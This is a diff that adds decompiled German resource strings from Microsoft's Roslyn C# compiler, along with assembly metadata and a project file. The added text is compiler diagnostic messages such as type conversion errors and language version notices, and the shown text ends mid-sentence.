"{0}" kann nicht in "{1}" konvertiert werden. + Das Argument "{0}" kann nicht mit dem Schlüsselwort "{1}" übergeben werden. + Die Eigenschaft oder der Indexer "{0}" kann in diesem Kontext nicht verwendet werden, da nicht auf den get-Accessor zugegriffen werden kann. + lokale Funktionen + Der Verweis, der Eigenschaften zurückgibt, kann nicht erfordert werden. + Tupel + externer Alias + Ungültiges XML-Include-Element: {0} + Ein Parameter mit Nullable-Typ muss als Werttyp oder Nicht-Nullable-Verweistyp bekannt sein, es sei denn, die Sprachversion "{0}" oder höher wird verwendet. Erwägen Sie, die Sprachversion zu ändern oder eine class-, struct- oder type-Einschränkung hinzuzufügen. + Der Ausrichtungswert weist eine Größe auf, die eine große formatierte Zeichenfolge zur Folge haben kann. + Eine Ausdrucksbaumstruktur darf keinen Inlinearrayzugriff oder keine Inlinekonvertierung enthalten. + Der aufgefangene oder ausgelöste Typ muss von System.Exception abgeleitet werden. + Es wurden keine Quelldateien angegeben. + Das Attribut "{0}" wird ignoriert, wenn öffentliche Signierung angegeben wird. + Der Puffer fester Größe mit Länge "{0}" und vom Typ "{1}" ist zu groß. + "{1}" wird von der Sprache nicht unterstützt und kann deshalb von "{0}" nicht implementiert werden. + Das Feature "{0}" ist in C# 8.0 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Funktion "{0}" ist in C# 9.0 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Funktion "{0}" ist in C# 2 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Funktion "{0}" ist in C# 3 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Funktion "{0}" ist in C# 1 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Das Feature "{0}" ist in C# 6 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Das Feature "{0}" ist in C# 7.0 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Funktion "{0}" ist in C# 4 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Funktion "{0}" ist in C# 5 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Die Methode "{0}" gibt eine struct-Einschränkung für den Typparameter "{1}" an, aber der zugehörige Typparameter "{2}" der außer Kraft gesetzten oder explizit implementierten Methode "{3}" ist kein Non-Nullable-Werttyp. + Option "/LIB" + Das Conditional-Attribut ist für "{0}" nicht gültig, weil der Rückgabetyp nicht leer ist. + Der Interceptor darf keinen this-Parameter aufweisen, da "{0}" keinen this-Parameter aufweist. + Typmuster + Eine using-Anweisungsressource vom Typ „{0}“ kann nicht in asynchronen Methoden oder asynchronen Lambdaausdrücken verwendet werden. + Das DllImport-Attribut kann nicht auf eine Methode angewendet werden, die generisch ist oder in einer generischen Methode oder einem generischen Typ enthalten ist. + Der parameterlose Strukturkonstruktor muss "public" sein. + Verwendung der nicht zugewiesenen lokalen Variablen "{0}". + Eine Eigenschaft oder ein Indexer ohne Verweisrückgabe darf nicht als Out- oder Ref-Wert verwendet werden. + Element überschreibt Basiselement mit mehreren Überschreibungskandidaten zur Laufzeit + "{0}" kann nicht als Verweis zurückgegeben werden, weil es sich um ein {1}-Element handelt. + Das Laden von Typen in der Analyseassembly überspringen, bei denen durch eine ReflectionTypeLoadException ein Fehler auftrat. + Das Inlinearrayelementfeld kann nicht als erforderlich, schreibgeschützt, flüchtig oder als Puffer fester Größe deklariert werden. + Eine mit [DoesNotReturn] gekennzeichnete Methode darf nicht zurückgegeben werden. + Nur eine Kompilierungseinheit kann Anweisungen der obersten Ebene aufweisen. + Parameter oder lokale Variablen des Typs "{0}" können nicht in asynchronen Methoden oder in asynchronen Lambdaausdrücken deklariert werden. + Für die implementierende Deklaration der partiellen Methode "{0}" wurde keine definierende Deklaration gefunden. + Standardschnittstellenimplementierung + Der Verweis auf Typ "{0}" wurde angeblich in dieser Assembly definiert, aber er ist weder in der Quelle noch in einem der hinzugefügten Module definiert. + Als Friend-Assemblyname kann nicht NULL übergeben werden. + Der angegebene Standardwert hat keine Auswirkungen, da es für ein Element gilt, das in Kontexten verwendet wird, die keine optionalen Argumente zulassen + Der Rückgabewert muss ungleich NULL sein, weil der Parameter nicht NULL ist. + Leerer Schalterblock. + {0}: Eine abstrakte Klasse kann nicht versiegelt oder statisch sein. + Eine neue Finalize-Methode kann den Aufruf eines Destruktors stören + Das „this“-Objekt kann nicht verwendet werden, bevor alle zugehörigen Felder zugewiesen wurden. Aktualisieren Sie ggf. auf die Sprachversion „{0}“, um die nicht zugewiesenen Felder automatisch als Standard zu verwenden. + Die Sequenz von „@“ Zeichen ist nicht zulässig. Eine ausführliche Zeichenfolge oder ein Bezeichner darf nur ein „@“-Zeichen und eine Rohzeichenfolge darf keine enthalten. + Die Quelldatei darf nur eine Namespacedeklaration mit Dateibereich enthalten. + Der angegebene Ausdruck stimmt immer mit dem angegebenen Muster überein. + Sie müssen in einer fixed- oder using-Anweisungsdeklaration einen Initialisierer bereitstellen. + Der Rückgabetyp für den Operator ++ oder -- muss der Parametertyp sein oder vom Parametertyp abgeleitet werden. + Ungültige Varianz: Der Typparameter "{1}" muss {3} und gültig für "{0}" sein. "{1}" ist {2}. + Erforderliche Mitglieder sind auf der obersten Ebene eines Skripts oder einer Übermittlung nicht zulässig. + "{0}": Benutzerdefinierte Konvertierungen in oder aus dem dynamischen Typ sind nicht zulässig. + AppConfigPath muss absolut sein. + Auf Felder ausgerichtete Attribute für automatische Eigenschaften werden in Sprachversion {0} nicht unterstützt. Verwenden Sie Sprachversion {1} oder höher. + {0}: Das abstrakte Ereignis kann die Ereignisaccessorsyntax nicht verwenden. + Das Attribut [EnumeratorCancellation] kann nicht für mehrere Parameter verwendet werden. + Durch die Verwendung eines Ergebnismembers von "{0}" in diesem Kontext können vom Parameter "{1}" referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Das auf Parameter "{0}" angewendete CallerFilePathAttribute hat keine Auswirkung. Es wird vom CallerLineNumberAttribute überschrieben. + Möglicherweise falsche leere Anweisung + Lambdaattribute + Ein Lambdaausdruck mit Attributen kann nicht in eine Ausdrucksbaumstruktur konvertiert werden. + Der Typ "{3}" kann nicht als Typparameter "{2}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Es ist keine Boxing-Konvertierung oder Typparameterkonvertierung von "{3}" in "{1}" vorhanden. + Ungültiger XML-Code in der enthaltenen Kommentardatei: "{0}" + Relationale Muster dürfen nicht für Gleitkomma-NaNs verwendet werden. + Automatisch implementierte Eigenschaften müssen alle Accessoren der überschriebenen Eigenschaft überschreiben. + Das Schlüsselwort „enum“ kann nicht als Einschränkung verwendet werden. Meinten Sie „struct, System.Enum“? + Unterausdruck kann nicht in einem Argument für "nameof" verwendet werden. + Branches eines bedingten ref-Operators können nicht auf Variablen mit inkompatiblen Deklarationsbereichen verweisen. + Bei einem Pufferfeld fester Größe muss sich der Arraygrößenspezifizierer hinter dem Feldnamen befinden. + Funktionszeiger + #Warnungsdirektive + Keine Überladung für die {0}-Methode nimmt {1} Argumente an. + Eine Indizierung mit [] kann nicht auf einen Ausdruck vom Typ "{0}" angewendet werden. + Der Wert der #line-Anweisung fehlt oder liegt außerhalb des gültigen Bereichs. + Attribute parameter 'SizeConst' must be specified. + "{0}" ist keine gültige Einschränkung. Ein Typ, der als Einschränkung verwendet wird, muss eine Schnittstelle, eine nicht versiegelte Klasse oder ein Typparameter sein. + Mehrdeutiger Verweis in cref-Attribut: "{0}". "{1}" wird angenommen, es sind jedoch auch Übereinstimmungen mit anderen Überladungen einschließlich "{2}" möglich. + Die {0}-Klasse kann nicht mehrere Basisklassen aufweisen: "{1}" und "{2}" + "{0}" überschreibt Object.Equals(object o), aber nicht Object.GetHashCode(). + Der Interceptor darf keinen "null"-Dateipfad aufweisen. + Nicht erforderliche using-Direktive. + Es wurde keine zugreifbare '{0}' Methode mit der erwarteten Signatur gefunden: eine statische Methode mit einem einzelnen Parameter vom Typ "ReadOnlySpan<{1}>" und rückgabetyp '{2}'. + Der Name "{0}" ist im aktuellen Kontext nicht vorhanden. + Keine einschließende Schleife, aus der angehalten und fortgefahren werden kann. + Die explizite Schnittstellenimplementierung "{0}" entspricht mehreren Schnittstellenmembern. Es hängt von der Implementierung ab, welcher Schnittstellenmember ausgewählt wird. Verwenden Sie stattdessen eine nicht explizite Implementierung. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implementierten Member "{1}". + Verweis auf nicht definierte Entität "{0}". + Der XML-Kommentar enthält ungültigen XML-Code: "{0}" + Eigenschaften, deren Rückgabe als Verweis erfolgt, müssen einen get-Accessor besitzen + Member, die mit "ObsoleteAttribute" attributiert sind, sollten nur erforderlich sein, wenn der enthaltende Typ veraltet ist oder alle Konstruktoren veraltet sind. + Inkonsistenter Zugriff: Basisschnittstelle "{1}" ist weniger zugreifbar als Schnittstelle "{0}". + Ein Ausdrucksbaum darf keinen anonymen Methodenausdruck enthalten. + Lambdaausdruck + Der Parameter wird im Zustand des einschließenden Typs erfasst und sein Wert wird auch an den Basiskonstruktor übergeben. Der Wert kann auch von der Basisklasse erfasst werden. + Typ- oder Namespacedefinition oder Dateiende erwartet. + Nicht beendetes Zeichenfolgenliteral. + Ungültiger Einschränkungstyp. Ein Typ, der als Einschränkung verwendet wird, muss eine Schnittstelle, eine nicht versiegelte Klasse oder ein Typparameter sein. + Der zweite Operand eines is- oder as-Operators darf kein statischer Typ sein + Ausdruck verursacht immer eine System.NullReferenceException, da der Standardwert des Typs null lautet + "UnscopedRefAttribute" kann nicht auf eine Schnittstellenimplementierung angewendet werden. + "is" und "as" sind keine gültigen Zeigertypen. + Typparameter hat denselben Namen wie der Typparameter des äußeren Typs + Nicht genügend Anführungszeichen für unformatierte Zeichenfolgenliterale. + "{0}": CLS-kompatible Schnittstellen dürfen nur CLS-kompatible Member aufweisen. + Ein anonymer Methodenausdruck kann nicht in einen Ausdrucksbaum konvertiert werden. + Die Quelldatei wurde mehrere Male angegeben. + Im Kommentar wurde eine falsche Syntax verwendet. + Add-Methoden für Erweiterungen werden für Sammlungsinitialisierer in einem Ausdruckslambda nicht unterstützt. + Das {0}-Attribut ist nur für einen Indexer gültig, bei dem es sich nicht um eine explizite Schnittstellenmemberdeklaration handelt. + "{0}" ist keine Attributklasse. + Der Typ kann nicht als Typparameter im generischen Typ oder in der generischen Methode verwendet werden. Die NULL-Zulässigkeit des Typarguments entspricht nicht der notnull-Einschränkung. + In einem konstanten Ausdruck kann kein anonymer Typ verwendet werden. + Ausdrücke und Anweisungen können nur in einem Methodenkörper verwendet werden. + Der Typ "{0}" ist für "using static" ungültig. Nur eine Klasse, Struktur, Schnittstelle, Enumeration, ein Delegat oder ein Namespace kann verwendet werden. + Der Typ von "{0}" ist nicht CLS-kompatibel. + Der {0}-Operator ist bei den Operanden "{1}" und "{2}" mehrdeutig. + Argumenttyp "{0}" ist nicht CLS-kompatibel. + Der params-Parameter muss ein eindimensionales Array sein. + Der Einstiegspunkt des Programms ist globaler Code. Der Einstiegspunkt "{0}" wird ignoriert. + Ein abstrakter Basismember kann nicht aufgerufen werden: "{0}" + NULL kann nicht in den {0}-Typparameter konvertiert werden, weil es sich möglicherweise um einen Non-Nullable-Werttyp handelt. Verwenden Sie stattdessen ggf. default({0}). + Feature ist nicht Teil der standardisierten ISO C#-Sprachspezifikation, und wird möglicherweise von anderen Compilern nicht akzeptiert. + "&" für Methodengruppen kann in Ausdrucksbaumstrukturen nicht verwendet werden. + Der Typ einer lokalen Variablen, die in einer fixed-Anweisung deklariert wird, darf kein Zeigertyp sein. + Angegeben wurden {0} Parametertypen und {1} Arten von Parameterverweisen. Diese Arrays müssen dieselbe Länge aufweisen. + Ein Member des lokalen Elements "{0}" kann nicht als Verweis zurückgegeben werden, weil es kein lokales ref-Elelement ist. + Ein Non-Nullable-Feld muss beim Beenden des Konstruktors einen Wert ungleich NULL enthalten. Erwägen Sie die Deklaration als Nullable. + "{0}" hat keine Basisklasse und kann keinen Basiskonstruktor aufrufen. + Die beste Übereinstimmung für die überladene "{0}"-Methode hat eine falsche Signatur für das Initialisiererelement. Das initialisierbare "Add" muss eine Instanzmethode sein, auf die zugegriffen werden kann. + Öffentliche Signierung wurde angegeben. Für diese ist ein öffentlicher Schlüssel erforderlich. Es wurde aber kein öffentlicher Schlüssel angegeben. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implizit implementierten Member. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht dem implementierten Member "{0}". Dies wird möglicherweise durch Attribute für die NULL-Zulässigkeit verursacht. + ) erwartet. + Quelldatei "{0}" wurde nicht gefunden. + Eigenschaft + Ungültiger Wert für "{0}": "{1}" für C# {2}. Verwenden Sie Sprachversion {3} oder höher. + "{0}" kann nicht als Verweis zurückgegeben werden, weil ein Schreibschutz besteht. + Eine Erweiterungsmethode mit einem Empfänger kann nicht als Ziel eines &-Operators verwendet werden. + Das auf den Parameter "{0}" angewendete CallerArgumentExpressionAttribute hat keine Auswirkungen. Es wird vom CallerFilePathAttribute überschrieben. + Eine anonyme Funktion, die in einen "void" zurückgebenden Delegaten konvertiert wurde, kann keinen Wert zurückgeben. + Der Typ "dynamic" darf nicht in einem Muster verwendet werden. + {0} "{1}" kann nicht als ref- oder out-Wert verwendet werden, weil es sich um eine schreibgeschützte Variable handelt. + Destruktoren und object.Finalize können nicht direkt aufgerufen werden. Rufen Sie IDisposable.Dispose auf, sofern verfügbar. + „{0}“ kann das Schnittstellenelement „{1}“ im Typ „{2}“ nicht implementieren, weil die Zielruntime keine statischen abstrakten Elemente in Schnittstellen unterstützt. + Die Methode "{0}" kann nicht mit dem Interceptor "{1}" abgefangen werden, da die Signaturen nicht übereinstimmen. + Zu viele Zeichen im Zeichenliteral. + SyntaxTree ist kein Teil der Kompilierung. + Unterschiedliche #pragma-Prüfsummenwerte angegeben + Der SecurityAction-Wert "{0}" ist für das PrincipalPermission-Attribut ungültig. + Fehlerhafter Arraydeklarator: Beim Deklarieren eines verwalteten Arrays steht der Rangspezifizierer vor dem Variablenbezeichner. Zum Deklarieren eines Pufferfelds fester Größe verwenden Sie vor dem Feldtyp das fixed-Schlüsselwort. + Partielle Deklarationen von "{0}" müssen die gleichen Typparameternamen und Varianzmodifizierer in der gleichen Reihenfolge aufweisen. + 'Die "{0}"-Klasse kann nicht von der speziellen "{1}"-Klasse abgeleitet werden. + Da „{0}“ eine asynchrone Methode ist, die „{1}“ zurückgibt, darf auf ein Rückgabeschlüsselwort kein Objektausdruck folgen. + "{0}" darf nicht als ref- oder out-Wert verwendet werden, weil ein Schreibschutz besteht. + Der Objekt- oder Sammlungsinitialisierer dereferenziert implizit den Member "{0}", der möglicherweise NULL ist. + Es konnte keine Implementierung des Abfragemusters für den Quelltyp "{0}" gefunden werden. "{1}" wurde nicht gefunden. + Das CallerMemberNameAttribute kann nur auf Parameter mit Standardwerten angewendet werden. + Typenkonflikte mit importiertem Namespace + Der XML-Kommentar weist ein param-Tag für "{0}" auf, es gibt aber keinen Parameter mit dem Namen. + Der Typparameter und der Typparameter der äußeren Methode weisen denselben Typ auf. + Der Parameter "{0}" wird nicht explizit angegeben, sondern als Argument für die Interpolierte Zeichenfolgenhandlerkonvertierung für den Parameter "{1}" verwendet. Geben Sie den Wert von "{0}" vor "{1}" an. + Fehledes XML-Kommentar für öffentlich sichtbaren Typ oder Element + Die Assembly "{0}" mit dem Typ "{1}" verweist auf das .NET Framework. Dies wird nicht unterstützt. + Der Vergleich zu einer integralen Konstante ist nutzlos; die Konstante befindet sich außerhalb des zulässigen Bereichs für den Typ + Der Typ kann nicht als Typparameter im generischen Typ oder in der generischen Methode verwendet werden. Die NULL-Zulässigkeit des Typarguments entspricht nicht dem Einschränkungstyp. + Typ definiert Operator == oder Operator !=, überschreibt jedoch nicht Object.GetHashCode() + Attribut wird ignoriert, damit die in der Quelle angezeigte Instanz bevorzugt werden kann + Die Quelldatei "{0}" konnte nicht geöffnet werden: {1} + Das Attribut "{0}" ist bei diesem Deklarationstyp nicht gültig. Es ist nur bei {1}-Deklarationen gültig. + Eine Ausdrucksstruktur darf keine NULL-Zusammenfügungszuweisung enthalten. + Eine lokale Variable oder ein Parameter namens "{0}" kann in diesem Bereich nicht deklariert werden, da der Name in einem einschließenden lokalen Bereich zur Definition einer lokalen Variablen oder eines Parameters verwendet wird. + "{0}" hat den Typ "{1}". Ein standardmäßiger Parameterwert eines anderen Verweistyps als "String" kann nur mit NULL initialisiert werden. + Aus Assembly "{0}" können keine Interoptypen eingebettet werden, da entweder das {1}-Attribut oder das {2}-Attribut fehlt. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" von "{1}" entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem Zieldelegaten "{2}". + Einschränkungstyp "{0}" ist nicht CLS-kompatibel. + Eine Handlerkonstruktion einer interpolierten Zeichenfolgen kann keine dynamische Zeichenfolge verwenden. Erstellen Sie manuell eine Instanz von „{0}“. + Das statische Feld oder die statische Eigenschaft "{0}" kann nicht in einem Objektinitialisierer zugewiesen werden. + Doppeltes Attribut "{0}". + Das Attribut "{0}" ist nur gültig für Klassen, die von System.Attribute abgeleitet wurden. + Die Branches des bedingten ref-Operators verweisen auf Variablen mit inkompatiblen Deklarationsbereichen. + Unerwartete Zeichenfolge "...". + Die NULL-Zulässigkeit in Einschränkungen für den Typparameter "{0}" der Methode "{1}" entspricht nicht den Einschränkungen für den Typparameter "{2}" der Schnittstellenmethode "{3}". Verwenden Sie stattdessen eine explizite Schnittstellenimplementierung. + Der Vergleich mit dem Strukturtyp Null führt immer zu 'false' + Das RequiredAttribute-Attribut ist in C#-Typen unzulässig. + Nur 65534 lokale Variablen, einschließlich der vom Compiler generierten, sind zulässig. + Ein temporäres Feld sollte in der Regel nicht als ref- oder out-Wert verwendet werden, weil es nicht als temporär behandelt wird. Es gibt jedoch Ausnahmen dazu, wie z. B. beim Aufruf einer Interlocked-API. + Die NULL-Zulässigkeit von Verweistypen im Typ entspricht nicht dem außer Kraft gesetzten Member. + Der Interoptyp "{0}", der sowohl in Assembly "{1}" als auch in Assembly "{2}" gefunden wurde, kann nicht eingebettet werden. Legen Sie die Eigenschaft "Interoptypen einbetten" auf "False" fest. + Der Pfad ist zu lang oder ungültig. + 'Der Rückgabetyp von "{1} {0}" ist falsch. + Der Member muss beim Beenden mit einer bestimmten Bedingung einen Wert ungleich NULL aufweisen. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" entspricht nicht dem implementierten Member "{1}". + Der Typ implementiert nicht das Sammlungsmuster. Das Element weist die falsche Signatur auf. + asynchrones Hauptelement + Der Member "{0}" wurde für den Typ "{1}" in der Assembly "{2}" nicht gefunden. + An dieser Stelle wurde kein Endtag erwartet. + "{1}": Von der statischen {0}-Klasse kann nicht abgeleitet werden. + Methoden mit dem Attribut "UnmanagedCallersOnly" können keine generischen Typparameter aufweisen und dürfen nicht in einem generischen Typ deklariert werden. + Das Zugreifen auf einen Member auf "{0}" kann zu einer Laufzeitausnahme führen, da es sich hierbei um ein Feld einer "Marshal by Reference"-Klasse handelt. + Ausdruck erwartet. + Von "{0}" wurde friend-Zugriff gewährt, aber der öffentliche Schlüssel der Ausgabeassembly ({1}) stimmt nicht mit dem überein, der vom InternalsVisibleTo-Attribut in der gewährenden Assembly angegeben wird. + "{0}" ist ein Typ, der von der Sprache nicht unterstützt wird. + Die Modulinitialisierermethode "{0}" muss statisch sein, darf keine Parameter enthalten und muss "void" zurückgeben + Die Methode "{0}" mit einem Iteratorblock muss "async" lauten, um "{1}" zurückzugeben. + Der Ausdruck muss implizit in einen booleschen Ausdruck konvertiert werden können, oder der Typ "{0}" muss den Operator "{1}" definieren. + Objekt kann mehrmals zugeordnet werden + Das auf Parameter "{0}" angewendete CallerMemberNameAttribute hat keine Auswirkung. Es wird vom CallerLineNumberAttribute überschrieben. + Der Assemblyverweis ist ungültig und kann nicht aufgelöst werden. + Der Parametertyp für den Operator ++ oder -- muss der enthaltende Typ sein. + Verwendung einer möglicherweise nicht zugewiesenen automatisch implementierten Eigenschaft '{0}'. Erwägen Sie eine Aktualisierung auf die Sprachversion '{1}', um die Eigenschaft automatisch als Standard zu verwenden. + Das NULL-Literal oder ein möglicher NULL-Wert wird in einen Non-Nullable-Typ konvertiert. + Es wurde kein Wert für RuntimeMetadataVersion gefunden + Für das nicht statische Feld, die Methode oder die Eigenschaft "{0}" ist ein Objektverweis erforderlich. + Ein Member des Parameters "{0}" kann nicht als Verweis über einen ref-Parameter, sondern nur in einer return-Anweisung zurückgegeben werden. + Typ oder Element kann nicht als CLS-kompatibel markiert werden, da die Assembly kein CLSCompliant-Attribut besitzt + Das AsyncMethodBuilder-Attribut ist für anonyme Methoden ohne expliziten Rückgabetyp unzulässig. + Die Methodengruppe wird in einen Nichtdelegattyp konvertiert. + "{0}": Der Rückgabetyp muss "{2}" sein, um mit dem überschriebenen Member "{1}" übereinzustimmen. + Eine using-Variable kann nicht direkt in einem switch-Abschnitt verwendet werden (erwägen Sie die Verwendung von geschweiften Klammern). + Es kann nur ein Syntaxbaum übermittelt werden. + Keine Überladung für "{0}" stimmt mit dem Delegaten "{1}" überein. + Bezeichner „{0}“ ist zwischen Typ „{1}“ und Parameter „{2}“ in diesem Kontext mehrdeutig. + Ungültiger Typ für den Parameter im XML-Kommentar des cref-Attributs. + Der Name "{0}" identifiziert nicht das Tupelelement "{1}". + Das DefaultMember-Attribut kann nicht für einen Typ angegeben werden, der einen Indexer enthält. + Die Warnstufe muss null oder höher sein. + Ausdruckskörperindexer + Die lokale Funktion "{0}" muss einen Textkörper deklarieren, weil sie nicht als "static extern" gekennzeichnet ist. + Der Parameter {0} hat den Standardwert „{1:10}“ in der Lambdafunktion, aber „{2:10}“ im Delegattyp des Ziels. + "{0}": Keine Ableitung vom dynamischen Typ möglich. + Die partielle Methode "{0}" muss Zugriffsmodifizierer aufweisen, weil sie einen Rückgabetyp mit Rückgabewert verwendet. + Ein Ausdrucksbaumstruktur-Lambda darf keinen Zusammenführungsoperator mit einem NULL- oder Standardliteral auf der linken Seite enthalten. + "{0}": Der in einer asynchronen using-Anweisung verwendete Typ muss implizit in "System.IAsyncDisposable" konvertiert werden können oder eine geeignete DisposeAsync-Methode implementieren. + Syntaxfehler. "{0}" erwartet. + '{2}' kann die 'new()'-Einschränkung für Parameter '{1}' im generischen Typ oder in der generischen Methode '{0}' nicht erfüllen, da '{2}' erforderliche Member aufweist. + Der switch-Ausdruck verarbeitet einige Werte des zugehörigen Eingabetyps einschließlich eines unbenannten Enumerationswerts nicht (nicht umfassender Ausdruck). Das Muster "{0}" wird beispielsweise nicht abgedeckt. + Das Argument vom Typ "{0}" kann aufgrund von Unterschieden in der NULL-Zulässigkeit von Verweistypen nicht für den Parameter "{2}" vom Typ "{1}" in "{3}" verwendet werden. + Kein bekannter Attributpfad + Durch die Verwendung des Ergebnisses von "{0}" in diesem Kontext können vom Parameter "{1}" referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Der Elementinitialisierer darf nicht leer sein. + Der Aufruf eines nicht schreibgeschützten Members "{0}" aus einem readonly-Member führt zu einer impliziten Kopie von "{1}". + Der Typ des Ausdrucks in der {0}-Klausel ist falsch. Fehler beim Typrückschluss im Aufruf von "{1}". + Ausnahmefilter + Mindestens eine Anweisung der obersten Ebene darf nicht leer sein. + Partielle Methodendeklarationen von "{0}" weisen inkonsistente Einschränkungen für den Typparameter "{1}" auf. + \ No newline at end of file diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/costura.de.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/costura.de.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/costura.de.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.de.resx b/decompiled/Libraries/de.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.de.resx new file mode 100644 index 0000000..1150679 --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.de.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Struktur + Element wird erwartet + PE-Abbild nicht verfügbar. + Token des öffentlichen Schlüssels weist eine ungültige Größe auf. + Die zusätzliche Datei gehört nicht zur zugrunde liegenden "CompilationWithAnalyzers". + Mehrere Konfigurationsdateien für die globale Analyse haben im Abschnitt "{1}" den gleichen Schlüssel "{0}" festgelegt. Die Festlegung wurde aufgehoben. Der Schlüssel wurde durch die folgenden Dateien festgelegt: "{2}" + Der temporäre Pfad für das Signieren von Legacydateien ist nicht verfügbar. + Ereignis + Die Assembly mit dem Typ "{0}" verweist auf das .NET Framework. Dies wird nicht unterstützt. + Assemblyverweis: "{0}" + Gewährt der aktuellen Assembly IVT: {1} + Gewährt IVTs für: + Der Analyzer "{0}" enthält einen NULL-Deskriptor in "SupportedDiagnostics". + Der Parameter "{0}" muss ein Symbol aus dieser Zusammenstellung oder eine referenzierte Assembly sein. + Inkonsistente Sprachversionen + Verweis-Resolver sollte einen lesbaren nicht-Null-Stream zurückgeben. + Ungültige Kompilierungsoptionen -- Übermittlung kann nicht signiert werden. + Ein Schlüssel in der "pathMap" ist leer. + Ungültiger Schweregrad in der Konfigurationsdatei des Analysetools. + Die Regelsatzdatei weist doppelte Regeln für '{0}' mit abweichenden Aktionen '{1}' und '{2}' auf. + Typ muss eine Unterklasse von SyntaxAnnotation sein. + Der Wert ist zu groß, um als ganze 30-Bit-Zahl ohne Vorzeichen dargestellt zu werden. + Ein Modul kann nicht bezeichnet werden. + Asssemblykulturname enthält ungültige Zeichen + Modul + Methode + Windows PDB Writer unterstützt keine deterministische Kompilierung. "{0}" + Analysetool + Der Parameter "{0}" muss eine INamedTypeSymbol- oder eine IAssemblySymbol-Schnittstelle sein. + Unterdrücken Sie die folgende Diagnose, um dieses Analysetool zu deaktivieren: {0} + Klasse + Warnung: Multi-Core-JIT konnte aufgrund einer Ausnahme nicht aktiviert werden: {0}. + Eingebettete Texte werden nur bei Ausgabe einer PDB-Datei unterstützt. + Modulkopie kann nicht zum Erstellen von Assembly-Metadaten verwendet werden. + Der Name des Konfigurationsabschnitts "{0}" des globalen Analysemoduls ist ungültig, weil es sich nicht um einen absoluten Pfad handelt. Der Abschnitt wird ignoriert. Der Abschnitt wurde in der Datei "{1}" deklariert. + Symbol-Stream weist nicht das erwartete Format auf. + Der Diagnose "{0}" wurde ein ungültiger Schweregrad "{1}" in der Konfigurationsdatei des Analysetools unter "{2}" zugewiesen. + Assemblyname: "{0}" + Öffentliche Schlüssel: + Die Datei wurde nicht gefunden. + Das Attribut "{0}" hat den ungültigen Wert "{1}". + Win32-Ressourcen, bei denen angenommen wird, dass sie im COFF-Objektformat vorhanden sind, weisen eine ungültige Abschnittsgröße auf. + Für "SourceText" mit "hintName" "{0}" muss ein expliziter Codierungssatz festgelegt sein. + Unbekanntes Ressourcendateiformat. + Parameter + Eigenschaft, Indexer + Dem Element "{0}" fehlt das Attribut mit dem Namen "{1}". + MetadataReference "{0}" wurde nicht zum Entfernen gefunden. + Im Metadatenmodul '{0}': '{1}' ist ein ungültiger Modulname angegeben + Name enthält ungültige Zeichen. + Für diese Option kann kein Sprachenname angegeben werden. + Der PDB-Datenstrom sollte nicht angegeben werden, wenn PDB in den PE-Datenstrom eingebettet wird. + Nichts + PDB-Stream sollte nicht ausgegeben werden, wenn nur die Ausgabe von Metadaten erfolgt. + Der hintName "{0}" enthält ein ungültiges Zeichen "{1}" an Position {2}. + Fehler des Analysetreibers. + Mehrere Konfigurationsdateien für die globale Analyse haben den gleichen Schlüssel festgelegt. Die Festlegung wurde aufgehoben. + Muss private Member enthalten, sofern keine Referenzassembly ausgegeben wird. + Argumente für "/keepalive"-Option kleiner als 